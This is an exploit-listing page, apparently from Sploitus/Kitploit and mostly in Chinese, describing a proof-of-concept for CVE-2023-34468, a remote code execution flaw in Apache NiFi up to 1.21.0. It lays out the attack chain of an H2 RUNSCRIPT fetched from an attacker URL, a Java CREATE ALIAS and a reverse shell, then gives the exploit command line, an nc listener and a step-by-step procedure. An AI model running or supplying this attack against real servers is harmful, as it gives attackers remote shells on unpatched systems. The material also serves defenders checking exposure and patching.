Sploitus

Exploit for CVE-2023-34468-POC

kitploit · 2026-08-31

Exploit Code

MARKDOWN94 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SBOUABID-SEC-CVE-2023-34468-POC
# CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC

Apache NiFi <= 1.21.0 中通过 H2 数据库 RUNSCRIPT 实现远程代码执行

* * *

## 漏洞

Apache NiFi 默认捆绑了 H2 数据库 JAR。`DBCPConnectionPool` 控制器服务可配置为使用该 H2 驱动。H2 支持 `RUNSCRIPT` 语句,该语句会从远程 URL 获取并执行 SQL 文件。该 SQL 文件可通过 `CREATE ALIAS` 定义任意 Java 代码,并在服务器操作系统上执行。

**攻击链:**

root@kitploit:~
    
    
    DBCPConnectionPool (H2 driver)
        → ExecuteSQL processor
            → RUNSCRIPT FROM http://attacker/rce.sql
                → CREATE ALIAS (Java method)
                    → CALL SHELLEXEC (reverse shell)
    

* * *

## 受影响版本

软件| 版本  
---|---  
Apache NiFi| <= 1.21.0  
修复版本| 1.21.1+  
Java| 任意(自带)  
  
* * *

## 环境要求

  * Python 3.x
  * `requests` 库 → `pip install requests`
  * NiFi 目标具有匿名写入权限或有效凭据
  * 目标到你的机器之间的网络可达(用于反弹 shell 回调)



* * *

## 使用方法

root@kitploit:~
    
    
    python3 poc.py --target http://NiFi.target.com \
                   --lhost 10.10.10.10 \
                   --lport 4444 \
                   --http-port 80 \
                   --cleanup
    

### 参数

* * *

## 配置步骤

**终端 1 — 监听器:**

root@kitploit:~
    
    
    nc -lvnp 4444
    

**终端 2 — 利用:**

root@kitploit:~
    
    
    python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
    

* * *

## PoC 功能说明

root@kitploit:~
    
    
    Step 1  检查匿名访问和写入权限
    Step 2  获取根 Process Group ID
    Step 3  创建恶意的 DBCPConnectionPool 控制器服务
    Step 4  启用控制器服务(处理修订版本控制)
    Step 5  创建指向我们 HTTP 服务器上 rce.sql 的 ExecuteSQL 处理器
    Step 6  启动处理器 → NiFi 获取 rce.sql → shell 回调
    Step 7  清理(如果设置了 --cleanup 标志)